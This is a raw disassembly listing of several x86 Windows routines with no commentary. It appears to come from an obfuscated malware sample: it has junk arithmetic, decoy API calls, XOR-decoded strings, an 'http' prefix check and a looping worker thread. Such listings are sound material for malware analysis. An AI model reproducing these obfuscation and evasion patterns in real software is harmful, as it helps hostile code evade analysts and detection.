		or	ebx, ebx
		jnz	loc_407585
		mov	ax, word_4423E8
		mov	[ebp+var_627CC], ax
		lea	edi, [ebp+var_627D3]
		lea	esi, aK80vdo	; "k80Do"
		mov	ecx, 7
		rep movsb
		lea	eax, [ebp+var_62677]
		push	eax
		push	[ebp+var_626B4]
		call	sub_4068C1
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_6268C], edi
		call	sub_40C764	; RtlGetLastWin32Error
		and	[ebp+var_52674], 0
		jmp	short loc_4072D8
; ---------------------------------------------------------------------------

loc_4072AF:				; CODE XREF: sub_406D2E+5B6j
		mov	eax, [ebp+var_52674]
		mov	al, [ebp+eax+var_62677]
		cmp	al, 0Dh
		jz	short loc_4072C4
		cmp	al, 0Ah
		jnz	short loc_4072D2

loc_4072C4:				; CODE XREF: sub_406D2E+590j
		mov	eax, [ebp+var_52674]
		mov	[ebp+eax+var_62677], 0

loc_4072D2:				; CODE XREF: sub_406D2E+594j
		inc	[ebp+var_52674]

loc_4072D8:				; CODE XREF: sub_406D2E+57Fj
		mov	eax, [ebp+var_6268C]
		cmp	[ebp+var_52674], eax
		jb	short loc_4072AF
		call	sub_40C7D0	; GetVersion
		cmp	[ebp+var_524CC], 0FFFFFFFFh
		jnz	short loc_40733F
		lea	edi, [ebp+var_627DC+3]
		lea	esi, a8vs	; "8VS^&"
		mov	ecx, 3
		rep movsw
		push	11h
		push	offset aNPVE	; "лإ"
		call	sub_406CA2
		push	[ebp+var_21784]
		push	eax
		lea	edi, [ebp+var_627B3]
		push	edi
		call	sub_40CC50
		lea	eax, [ebp+var_627B3]
		push	eax
		lea	eax, [ebp+var_10001]
		push	eax
		call	sub_40CC74
		add	esp, 1Ch
		jmp	short loc_4073AB
; ---------------------------------------------------------------------------

loc_40733F:				; CODE XREF: sub_406D2E+5C4j
		mov	word ptr [ebp+var_627D8+2], 41D1h
		add	word ptr [ebp+var_627D8+2], 3FCCh
		push	13h
		push	offset aPVEPVE	; "إлإ"
		call	sub_406CA2
		push	[ebp+var_21784]
		push	[ebp+var_524CC]
		push	eax
		lea	edi, [ebp+var_627B3]
		push	edi
		call	sub_40CC50
		call	sub_40C734	; GetCurrentProcessId
		lea	eax, [ebp+var_627B3]
		push	eax
		lea	eax, [ebp+var_10001]
		push	eax
		call	sub_40CC74
		add	esp, 20h
		mov	[ebp+var_627D4], 0C9h
		movzx	eax, [ebp+var_627D4]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_627D4], al

loc_4073AB:				; CODE XREF: sub_406D2E+60Fj
		and	[ebp+var_52674], 0

loc_4073B2:				; CODE XREF: sub_406D2E+731j
		mov	eax, [ebp+var_52674]
		lea	ecx, [ebp+eax+var_62677]
		or	eax, 0FFFFFFFFh

loc_4073C2:				; CODE XREF: sub_406D2E+699j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4073C2
		mov	[ebp+var_62680], eax
		cmp	eax, 0
		jz	short loc_4073DB
		cmp	eax, 0C8h
		jbe	short loc_4073DD

loc_4073DB:				; CODE XREF: sub_406D2E+6A4j
		jmp	short loc_407446
; ---------------------------------------------------------------------------

loc_4073DD:				; CODE XREF: sub_406D2E+6ABj
		cmp	[ebp+var_62680], 1
		jnz	short loc_4073F6
		mov	eax, [ebp+var_52674]
		cmp	[ebp+eax+var_62677], 20h
		jz	short loc_407446

loc_4073F6:				; CODE XREF: sub_406D2E+6B6j
		call	sub_40C740	; GetCurrentThreadId
		push	1
		push	offset aB_0	; ""
		call	sub_406CA2
		push	eax
		lea	edi, [ebp+var_10001]
		push	edi
		call	sub_40CC74
		call	sub_40C794	; GetProcessHeap
		mov	eax, [ebp+var_52674]
		lea	eax, [ebp+eax+var_62677]
		push	eax
		lea	eax, [ebp+var_10001]
		push	eax
		call	sub_40CC74
		add	esp, 18h
		mov	[ebp+var_627B8], 60E9h
		inc	[ebp+var_627B8]

loc_407446:				; CODE XREF: sub_406D2E:loc_4073DBj
					; sub_406D2E+6C6j
		mov	eax, [ebp+var_62680]
		inc	eax
		add	[ebp+var_52674], eax
		mov	eax, [ebp+var_6268C]
		cmp	[ebp+var_52674], eax
		jb	loc_4073B2
		mov	[ebp+var_627B9], 0B2h
		movzx	eax, [ebp+var_627B9]
		imul	eax, 2A9Dh
		mov	[ebp+var_627B9], al
		and	[ebp+var_62688], 0
		lea	ecx, [ebp+var_10001]
		or	eax, 0FFFFFFFFh

loc_40748F:				; CODE XREF: sub_406D2E+766j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40748F
		mov	[ebp+var_62680], eax
		mov	[ebp+var_52674], 0
		jmp	loc_407565
; ---------------------------------------------------------------------------

loc_4074AB:				; CODE XREF: sub_406D2E+843j
		mov	word ptr [ebp+var_627D8+2], 6673h
		movzx	eax, word ptr [ebp+var_627D8+2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	word ptr [ebp+var_627D8+2], ax
		mov	eax, [ebp+var_52674]
		cmp	[ebp+eax+var_10001], 20h
		jz	short loc_4074DF
		and	[ebp+var_6267C], 0

loc_4074DF:				; CODE XREF: sub_406D2E+7A8j
		mov	word ptr [ebp+var_627D8], 5E3Bh
		add	word ptr [ebp+var_627D8], 7D94h
		cmp	[ebp+var_6267C], 0
		jnz	short loc_407540
		mov	[ebp+var_627DC], 7B77h
		mov	eax, 51B3h
		mul	[ebp+var_627DC]
		mov	[ebp+var_627E0], eax
		mov	[ebp+var_627DC], eax
		mov	eax, [ebp+var_62688]
		mov	edx, [ebp+var_52674]
		mov	dl, [ebp+edx+var_10001]
		mov	[ebp+eax+var_10001], dl
		call	sub_40C854	; IsDebuggerPresent
		inc	[ebp+var_62688]

loc_407540:				; CODE XREF: sub_406D2E+7CAj
		mov	eax, [ebp+var_52674]
		cmp	[ebp+eax+var_10001], 20h
		jnz	short loc_40755A
		mov	[ebp+var_6267C], 1

loc_40755A:				; CODE XREF: sub_406D2E+820j
		call	sub_40C854	; IsDebuggerPresent
		inc	[ebp+var_52674]

loc_407565:				; CODE XREF: sub_406D2E+778j
		mov	eax, [ebp+var_62680]
		cmp	[ebp+var_52674], eax
		jb	loc_4074AB
		mov	eax, [ebp+var_62688]
		mov	[ebp+eax+var_10001], 0

loc_407585:				; CODE XREF: sub_406D2E+4FBj
					; sub_406D2E+52Fj
		and	[ebp+var_62684], 0
		lea	eax, [ebp+var_62684]
		push	eax
		push	offset dword_447AEC
		mov	eax, [ebp+var_62694]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		call	sub_40C7C4	; GetTickCount
		or	ebx, ebx
		jnz	loc_407855
		call	sub_40C794	; GetProcessHeap
		lea	eax, [ebp+var_62690]
		push	eax
		mov	eax, [ebp+var_62684]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+6Ch]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_407832
		and	[ebp+var_52678], 0
		jmp	loc_407819
; ---------------------------------------------------------------------------

loc_4075E5:				; CODE XREF: sub_406D2E+AF7j
		call	sub_40C794	; GetProcessHeap
		push	0
		call	sub_40CBD8
		pop	ecx
		mov	[ebp+var_627F0], 2
		mov	eax, [ebp+var_52678]
		mov	[ebp+var_627E8], eax
		lea	eax, [ebp+var_627DC]
		push	eax
		lea	esi, [ebp+var_627F0]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_627F0]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_62684]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+74h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_407813
		call	sub_40C794	; GetProcessHeap
		and	[ebp+var_627D8], 0
		lea	eax, [ebp+var_627D8]
		push	eax
		push	offset dword_447ADC
		mov	eax, [ebp+var_627DC]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		call	sub_40C764	; RtlGetLastWin32Error
		or	ebx, ebx
		jnz	loc_4077E1
		mov	[ebp+var_62804], 1DE4h
		sub	[ebp+var_62804], 0BA1h
		cmp	[ebp+var_627D8], 0
		jz	loc_4077E1
		mov	[ebp+var_62806], 1B0Fh
		sub	[ebp+var_62806], 4876h
		lea	eax, [ebp+var_62800]
		push	eax
		push	0
		push	[ebp+var_10FA8]
		mov	eax, [ebp+var_627D8]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		call	sub_40C734	; GetCurrentProcessId
		or	ebx, ebx
		jnz	loc_4077E1
		mov	eax, dword_4423F7
		mov	[ebp+var_62810], eax
		cmp	[ebp+var_62800], 8
		jnz	loc_4077E1
		movzx	edi, [ebp+var_2]
		mov	esi, [ebp+var_627D8]
		mov	[ebp+edi*4+var_10FA4], esi
		movzx	edi, [ebp+var_2]
		mov	esi, [ebp+var_52678]
		mov	[ebp+edi*2+var_1177C], si
		lea	eax, [ebp+var_62800]
		push	eax
		push	0
		push	[ebp+var_10FAC]
		mov	eax, [ebp+var_627D8]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	[ebp+var_62808], 3C9Dh
		movzx	eax, [ebp+var_62808]
		imul	eax, 22A9h
		mov	[ebp+var_62808], ax
		or	ebx, ebx
		jnz	loc_4077DD
		call	sub_40C764	; RtlGetLastWin32Error
		mov	ax, word_4423FB
		mov	[ebp+var_63816], ax
		lea	edi, [ebp+var_6381C]
		lea	esi, aLbn?b	; "lbn?"
		mov	ecx, 3
		rep movsw
		lea	eax, [ebp+var_6380F]
		push	eax
		push	[ebp+var_627F8]
		call	sub_4068C1
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_63814], edi
		call	sub_40C764	; RtlGetLastWin32Error
		cmp	[ebp+var_6380F], 0
		jz	short loc_4077CC
		cmp	edi, 64h
		jnb	short loc_4077CC
		lea	eax, [ebp+var_6380F]
		push	eax
		movzx	eax, [ebp+var_2]
		imul	eax, 64h
		lea	eax, [ebp+eax+var_39E28]
		push	eax
		call	sub_40C6D8

loc_4077CC:				; CODE XREF: sub_406D2E+A7Cj
					; sub_406D2E+A81j
		lea	edi, [ebp+var_6381D]
		lea	esi, byte_442403
		xor	ecx, ecx
		inc	ecx
		rep movsb

loc_4077DD:				; CODE XREF: sub_406D2E+A26j
		inc	[ebp+var_2]

loc_4077E1:				; CODE XREF: sub_406D2E+94Bj
					; sub_406D2E+96Cj ...
		cmp	[ebp+var_627D8], 0
		jz	short $+2
		mov	[ebp+var_6280C], 346Bh
		sub	[ebp+var_6280C], 3A2Ah
		cmp	[ebp+var_627DC], 0
		jz	short loc_407813
		mov	eax, [ebp+var_627DC]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]

loc_407813:				; CODE XREF: sub_406D2E+914j
					; sub_406D2E+AD7j
		inc	[ebp+var_52678]

loc_407819:				; CODE XREF: sub_406D2E+8B2j
		mov	eax, [ebp+var_62690]
		cmp	[ebp+var_52678], eax
		jb	loc_4075E5
		jmp	short loc_407887
; ---------------------------------------------------------------------------
		call	sub_40C734	; GetCurrentProcessId

loc_407832:				; CODE XREF: sub_406D2E+8A5j
		cmp	[ebp+var_62684], 0
		jz	short loc_407847
		mov	eax, [ebp+var_62684]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]

loc_407847:				; CODE XREF: sub_406D2E+B0Bj
		mov	[ebp+var_627BA], 0F2h
		sub	[ebp+var_627BA], 5Dh

loc_407855:				; CODE XREF: sub_406D2E+883j
		cmp	[ebp+var_62694], 0
		jz	short loc_40786A
		mov	eax, [ebp+var_62694]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]

loc_40786A:				; CODE XREF: sub_406D2E+B2Ej
		mov	[ebp+var_627BC], 143Bh
		movzx	eax, [ebp+var_627BC]
		imul	eax, 22Eh
		mov	[ebp+var_627BC], ax

loc_407887:				; CODE XREF: sub_406D2E+4A1j
					; sub_406D2E+AFDj
		inc	[ebp+var_21784]

loc_40788D:				; CODE XREF: sub_406D2E+427j
		mov	eax, [ebp+var_525EC]
		cmp	[ebp+var_21784], eax
		jb	loc_40715A

loc_40789F:				; CODE XREF: sub_406D2E+28Cj
					; sub_406D2E+309j ...
		inc	[ebp+var_524CC]
		mov	eax, [ebp+var_52640]
		cmp	[ebp+var_524CC], eax
		jl	loc_406F67
		lea	edi, [ebp+var_52656]
		lea	esi, asc_442404	; "h<"
		mov	ecx, 3
		rep movsb

loc_4078CA:				; CODE XREF: sub_406D2E+D09j
		push	0
		call	sub_40CBD8
		pop	ecx
		call	sub_40C7C4	; GetTickCount
		mov	[ebp+var_21786], 0
		jmp	loc_4079DF
; ---------------------------------------------------------------------------

loc_4078E5:				; CODE XREF: sub_406D2E+CBEj
		mov	[ebp+var_62674], 78C0h
		sub	[ebp+var_62674], 6288h
		lea	eax, [ebp+var_524E0]
		push	eax
		push	0
		push	[ebp+var_10FA8]
		movzx	edi, [ebp+var_21786]
		mov	edi, [ebp+edi*4+var_10FA4]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	dword ptr [ebp-62678h],	2EABh
		mov	eax, 693Bh
		mul	dword ptr [ebp-62678h]
		mov	[ebp+var_62690], eax
		mov	[ebp-62678h], eax
		or	ebx, ebx
		jnz	loc_4079D8
		lea	edi, [ebp+var_62688+3]
		lea	esi, byte_442407
		xor	ecx, ecx
		inc	ecx
		rep movsb
		mov	eax, dword_442408
		mov	[ebp+var_6268C+3], eax
		lea	eax, [ebp+var_6266D]
		push	eax
		push	[ebp+var_524D8]
		call	sub_4068C1
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_62684], edi
		mov	[ebp+var_6267C], 17FCh
		inc	[ebp+var_6267C]
		cmp	[ebp+var_6266D], 0
		jz	short loc_4079D8
		mov	word ptr [ebp+var_62680+2], 2AD9h
		sub	word ptr [ebp+var_62680+2], 258Eh
		cmp	[ebp+var_62684], 64h
		jnb	short loc_4079D3
		lea	eax, [ebp+var_6266D]
		push	eax
		movzx	eax, [ebp+var_21786]
		imul	eax, 64h
		lea	eax, [ebp+eax+var_524C8]
		push	eax
		call	sub_40C6D8

loc_4079D3:				; CODE XREF: sub_406D2E+C85j
		call	sub_40C7C4	; GetTickCount

loc_4079D8:				; CODE XREF: sub_406D2E+C13j
					; sub_406D2E+C6Aj
		inc	[ebp+var_21786]

loc_4079DF:				; CODE XREF: sub_406D2E+BB2j
		movzx	eax, [ebp+var_21786]
		movzx	edx, [ebp+var_2]
		cmp	eax, edx
		jl	loc_4078E5
		lea	eax, [ebp+var_525FE]
		push	eax
		mov	eax, dword_442370
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+7Ch]
		mov	ebx, eax
		mov	[ebp+var_52624], 370Ah
		inc	[ebp+var_52624]
		or	ebx, ebx
		jnz	loc_407E02
		lea	edi, [ebp+var_52657]
		lea	esi, byte_44240C
		xor	ecx, ecx
		inc	ecx
		rep movsb
		cmp	[ebp+var_525FE], 0
		jz	loc_4078CA
		call	sub_40C734	; GetCurrentProcessId
		lea	edi, [ebp+var_5265D]
		lea	esi, a1o8qz	; "1o8QZ"
		mov	ecx, 3
		rep movsw
		mov	[ebp+var_2177D], 0
		push	offset byte_41FB10
		lea	eax, [ebp+var_2177D]
		push	eax
		call	sub_40C6D8
		mov	[ebp+var_525E8], 1
		mov	[ebp+var_1177E], 0
		jmp	loc_407B63
; ---------------------------------------------------------------------------

loc_407A86:				; CODE XREF: sub_406D2E+E42j
		call	sub_40C7C4	; GetTickCount
		movzx	eax, [ebp+var_1177E]
		imul	eax, 64h
		cmp	[ebp+eax+var_524C8], 0
		jz	loc_407B5C
		call	sub_40C734	; GetCurrentProcessId
		and	[ebp+var_525E8], 0
		push	4
		push	offset aE	; "إ"
		call	sub_406CA2
		movzx	edi, [ebp+var_1177E]
		push	edi
		push	eax
		lea	edi, [ebp+var_525DF]
		push	edi
		call	sub_40CC50
		lea	eax, [ebp+var_525DF]
		push	eax
		lea	eax, [ebp+var_2177D]
		push	eax
		call	sub_40CC74
		lea	edi, [ebp+var_52674]
		lea	esi, aKbX0	; "k*x0"
		mov	ecx, 3
		rep movsw
		movzx	eax, [ebp+var_1177E]
		imul	eax, 64h
		lea	eax, [ebp+eax+var_39E28]
		push	eax
		lea	eax, [ebp+var_2177D]
		push	eax
		call	sub_40CC74
		push	1
		push	offset asc_446ECD ; ""
		call	sub_406CA2
		push	eax
		lea	edi, [ebp+var_2177D]
		push	edi
		call	sub_40CC74
		mov	ax, word_442419
		mov	word ptr [ebp+var_52678+2], ax
		movzx	eax, [ebp+var_1177E]
		imul	eax, 64h
		lea	eax, [ebp+eax+var_524C8]
		push	eax
		lea	eax, [ebp+var_2177D]
		push	eax
		call	sub_40CC74
		add	esp, 3Ch

loc_407B5C:				; CODE XREF: sub_406D2E+D6Fj
		inc	[ebp+var_1177E]

loc_407B63:				; CODE XREF: sub_406D2E+D53j
		movzx	eax, [ebp+var_1177E]
		movzx	edx, [ebp+var_2]
		cmp	eax, edx
		jl	loc_407A86
		cmp	[ebp+var_525E8], 0
		jnz	loc_407D88
		lea	edi, [ebp+var_52663]
		lea	esi, aJvjm	; "JvjM	"
		mov	ecx, 3
		rep movsw
		push	1
		push	offset asc_446ECB ; ""
		call	sub_406CA2
		push	eax
		lea	edi, [ebp+var_2177D]
		push	edi
		call	sub_40CC74
		call	sub_40C734	; GetCurrentProcessId
		lea	eax, [ebp+var_10001]
		push	eax
		lea	eax, [ebp+var_2177D]
		push	eax
		call	sub_40CC74
		add	esp, 18h
		mov	eax, dword_442421
		mov	[ebp+var_52667], eax
		cmp	ds:byte_41FB10,	68h
		jnz	short loc_407BFA
		cmp	ds:byte_41FB11,	74h
		jnz	short loc_407BFA
		cmp	ds:byte_41FB12,	74h
		jnz	short loc_407BFA
		cmp	ds:byte_41FB13,	70h
		jz	short loc_407BFF

loc_407BFA:				; CODE XREF: sub_406D2E+EAFj
					; sub_406D2E+EB8j ...
		jmp	loc_407D3D
; ---------------------------------------------------------------------------

loc_407BFF:				; CODE XREF: sub_406D2E+ECAj
		call	sub_40C7D0	; GetVersion
		push	8
		push	offset aTtSs	; "Ӛ"
		call	sub_406CA2
		mov	edi, 9
		sub	edi, dword_4423A4
		push	edi
		push	eax
		push	offset byte_41FB10
		call	sub_40181A
		add	esp, 14h
		cmp	eax, 0FFFFh
		jz	short loc_407C62
		push	0Eh
		push	offset aTtSsSkPs ; "ӚӜ"
		call	sub_406CA2
		mov	edi, 9
		sub	edi, dword_4423A4
		push	edi
		push	eax
		push	offset byte_41FB10
		call	sub_40181A
		add	esp, 14h
		cmp	eax, 0FFFFh
		jz	loc_407D3D

loc_407C62:				; CODE XREF: sub_406D2E+F01j
		call	sub_40C740	; GetCurrentThreadId
		mov	[ebp+var_525EE], 0

loc_407C70:				; CODE XREF: sub_406D2E+FE1j
		mov	eax, 13h
		sub	eax, dword_4423A8
		push	eax
		movzx	eax, [ebp+var_525EE]
		lea	eax, ds:4423B4h[eax]
		push	eax
		push	offset byte_41FB10
		call	sub_40181A
		add	esp, 0Ch
		cmp	eax, 0FFFFh
		jz	short loc_407CB8
		call	sub_40C7D0	; GetVersion
		push	1
		lea	eax, [ebp+var_2177D]
		push	eax
		call	ds:dword_40F1D8
		jmp	loc_407D3D
; ---------------------------------------------------------------------------

loc_407CB8:				; CODE XREF: sub_406D2E+F6Fj
		movzx	eax, [ebp+var_525EE]
		mov	[ebp+var_52674], eax
		lea	ecx, ds:4423B4h[eax]
		or	eax, 0FFFFFFFFh

loc_407CCF:				; CODE XREF: sub_406D2E+FA6j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_407CCF
		mov	esi, [ebp+var_52674]
		add	esi, eax
		mov	edi, esi
		mov	[ebp+var_525EE], di
		mov	[ebp+var_52626], 4EA9h
		add	[ebp+var_52626], 266Bh
		inc	[ebp+var_525EE]
		movzx	eax, [ebp+var_525EE]
		cmp	byte_4423B4[eax], 0
		jnz	loc_407C70
		call	sub_40C740	; GetCurrentThreadId
		push	0
		lea	eax, [ebp+var_2177D]
		push	eax
		call	ds:dword_40F1D8
		lea	edi, [ebp+var_5266D]
		lea	esi, aG5ah	; "'G5aH"
		mov	ecx, 3
		rep movsw

loc_407D3D:				; CODE XREF: sub_406D2E:loc_407BFAj
					; sub_406D2E+F2Ej ...
		mov	[ebp+var_21788], 0
		jmp	short loc_407D74
; ---------------------------------------------------------------------------

loc_407D48:				; CODE XREF: sub_406D2E+1053j
		movzx	edi, [ebp+var_21788]
		cmp	[ebp+edi*4+var_10FA4], 0
		jz	short loc_407D6D
		movzx	edi, [ebp+var_21788]
		mov	edi, [ebp+edi*4+var_10FA4]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+8]

loc_407D6D:				; CODE XREF: sub_406D2E+1029j
		inc	[ebp+var_21788]

loc_407D74:				; CODE XREF: sub_406D2E+1018j
		movzx	eax, [ebp+var_21788]
		movzx	edx, [ebp+var_2]
		cmp	eax, edx
		jl	short loc_407D48
		call	sub_40C7D0	; GetVersion

loc_407D88:				; CODE XREF: sub_406D2E+400j
					; sub_406D2E+E4Fj
		cmp	[ebp+var_525E4], 0
		jz	short loc_407D9D
		mov	eax, [ebp+var_525E4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]

loc_407D9D:				; CODE XREF: sub_406D2E+1061j
		mov	[ebp+var_5262C], 522Eh
		inc	[ebp+var_5262C]
		cmp	[ebp+var_52610], 0
		jz	short loc_407DC2
		mov	eax, [ebp+var_52610]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]

loc_407DC2:				; CODE XREF: sub_406D2E+1086j
		call	sub_40C794	; GetProcessHeap
		cmp	[ebp+var_52608], 0
		jz	short loc_407DDC
		mov	eax, [ebp+var_52608]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]

loc_407DDC:				; CODE XREF: sub_406D2E+10A0j
		lea	edi, [ebp+var_5266E]
		lea	esi, byte_44242B
		xor	ecx, ecx
		inc	ecx
		rep movsb

loc_407DED:				; CODE XREF: sub_406D2E+227j
		cmp	[ebp+var_52604], 0
		jz	short loc_407E02
		mov	eax, [ebp+var_52604]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]

loc_407E02:				; CODE XREF: sub_406D2E+130j
					; sub_406D2E+181j ...
		cmp	[ebp+var_525FC], 0
		jz	short loc_407E17
		mov	eax, [ebp+var_525FC]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]

loc_407E17:				; CODE XREF: sub_406D2E+10DBj
		mov	[ebp+var_5262D], 0FDh
		add	[ebp+var_5262D], 1

loc_407E25:				; CODE XREF: sub_406D2E+101j
		cmp	[ebp+var_525F4], 0
		jz	short loc_407E3A
		mov	eax, [ebp+var_525F4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]

loc_407E3A:				; CODE XREF: sub_406D2E+10FEj
		call	sub_40C7D0	; GetVersion
		jmp	loc_406D95
; ---------------------------------------------------------------------------

loc_407E44:				; CODE XREF: sub_406D2E+5Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406D2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407E49	proc near		; DATA XREF: sub_407F07+2Co

var_20		= dword	ptr -20h
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_44242C
		push	offset sub_40109A
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		call	sub_40C740	; GetCurrentThreadId
		mov	[ebp+var_4], 0
		mov	[ebp+var_19], 9
		movzx	edi, [ebp+var_19]
		mov	esi, edi
		add	esi, edi
		mov	ebx, esi
		mov	[ebp+var_19], bl

loc_407E8C:				; CODE XREF: sub_407E49+83j
					; sub_407E49+A3j
		mov	[ebp+var_1A], 0DFh
		movzx	edi, [ebp+var_1A]
		mov	esi, edi
		add	esi, edi
		mov	ebx, esi
		mov	[ebp+var_1A], bl
		mov	edi, dword_4423A4
		add	edi, 1ECh
		push	edi
		call	sub_40CBD8
		add	esp, 4
		call	sub_406D2E
		mov	[ebp+var_20], 12EBh
		add	[ebp+var_20], 59A8h
		cmp	dword_4423B0, 0
		jnz	short loc_407E8C
		jmp	short loc_407EF5
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_407EF5
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp-1Ch], 1
		mov	eax, [ebp-1Ch]
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		call	sub_40C7D0	; GetVersion
		jmp	short loc_407E8C
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], 0FFFFFFFFh

loc_407EF5:				; CODE XREF: sub_407E49+85j
					; sub_407E49+8Ej
		pop	edi
		pop	esi
		pop	ebx
		xchg	eax, ecx
		mov	eax, [ebp+var_10]
		mov	large fs:0, eax
		xchg	eax, ecx
		leave
		retn	4
sub_407E49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F07	proc near		; CODE XREF: sub_40AA24+7F9p

var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_2]
		lea	esi, dword_442438
		xor	ecx, ecx
		inc	ecx
		rep movsb
		mov	eax, [ebp+arg_0]
		mov	ds:dword_40F1D8, eax
		mov	ebx, 6DB8h
		inc	ebx
		push	offset dword_4423B0
		push	0
		push	0
		push	offset sub_407E49
		push	0
		push	0
		call	sub_40C980	; CreateThread
		mov	ebx, eax
		mov	[ebp+var_1], 0E3h
		add	[ebp+var_1], 63h
		push	ebx
		call	sub_40C7AC	; CloseHandle
		call	sub_40C7D0	; GetVersion
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_407F07	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		call	sub_40C7D0	; GetVersion
		cmp	dword_442370, 0
		jnz	short loc_407F71
		xor	eax, eax
		jmp	short loc_407FB9
; ---------------------------------------------------------------------------

loc_407F71:				; CODE XREF: .text:00407F6Bj
		call	sub_40C764	; RtlGetLastWin32Error
		mov	eax, ds:dword_42FB14
		cmp	[ebp+8], eax
		jz	short loc_407F84
		xor	eax, eax
		jmp	short loc_407FB9
; ---------------------------------------------------------------------------

loc_407F84:				; CODE XREF: .text:00407F7Ej
		call	sub_40C734	; GetCurrentProcessId
		lea	ecx, byte_41FB10
		or	eax, 0FFFFFFFFh

loc_407F92:				; CODE XREF: .text:00407F97j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_407F92
		mov	edi, eax
		add	edi, 1
		push	edi
		push	offset byte_41FB10
		push	dword ptr [ebp+0Ch]
		call	sub_40CC14
		add	esp, 0Ch
		call	sub_40C854	; IsDebuggerPresent
		mov	eax, 1

loc_407FB9:				; CODE XREF: .text:00407F6Fj
					; .text:00407F82j
		pop	edi
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407FBC	proc near		; CODE XREF: sub_408048+22Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_442444
		lea	eax, ds:415580h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	[ebp+var_4], 0D2h
		xor	edi, edi
		jmp	short loc_408003
; ---------------------------------------------------------------------------

loc_407FE9:				; CODE XREF: sub_407FBC+49j
		mov	eax, dword_442444
		add	eax, edi
		lea	eax, ds:415580h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0FDh
		mov	[eax], dl
		inc	edi

loc_408003:				; CODE XREF: sub_407FBC+2Bj
		cmp	edi, esi
		jl	short loc_407FE9
		mov	eax, dword_442444
		add	eax, esi
		mov	byte ptr ds:dword_415580[eax], 0
		mov	edi, dword_442444
		add	dword_442444, 3
		mov	eax, dword_442444
		inc	eax
		add	eax, esi
		mov	dword_442444, eax
		cmp	eax, 0DC5h
		jle	short loc_40803E
		and	dword_442444, 0

loc_40803E:				; CODE XREF: sub_407FBC+79j
		lea	eax, dword_415580[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_407FBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408048	proc near		; DATA XREF: sub_40AA24+7F4o

var_2A		= byte ptr -2Ah
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_13], 0BEh
		add	[ebp+var_13], 3Fh
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		and	[ebp+var_10], 0

loc_408065:				; CODE XREF: sub_408048+15Ej
					; sub_408048+169j ...
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
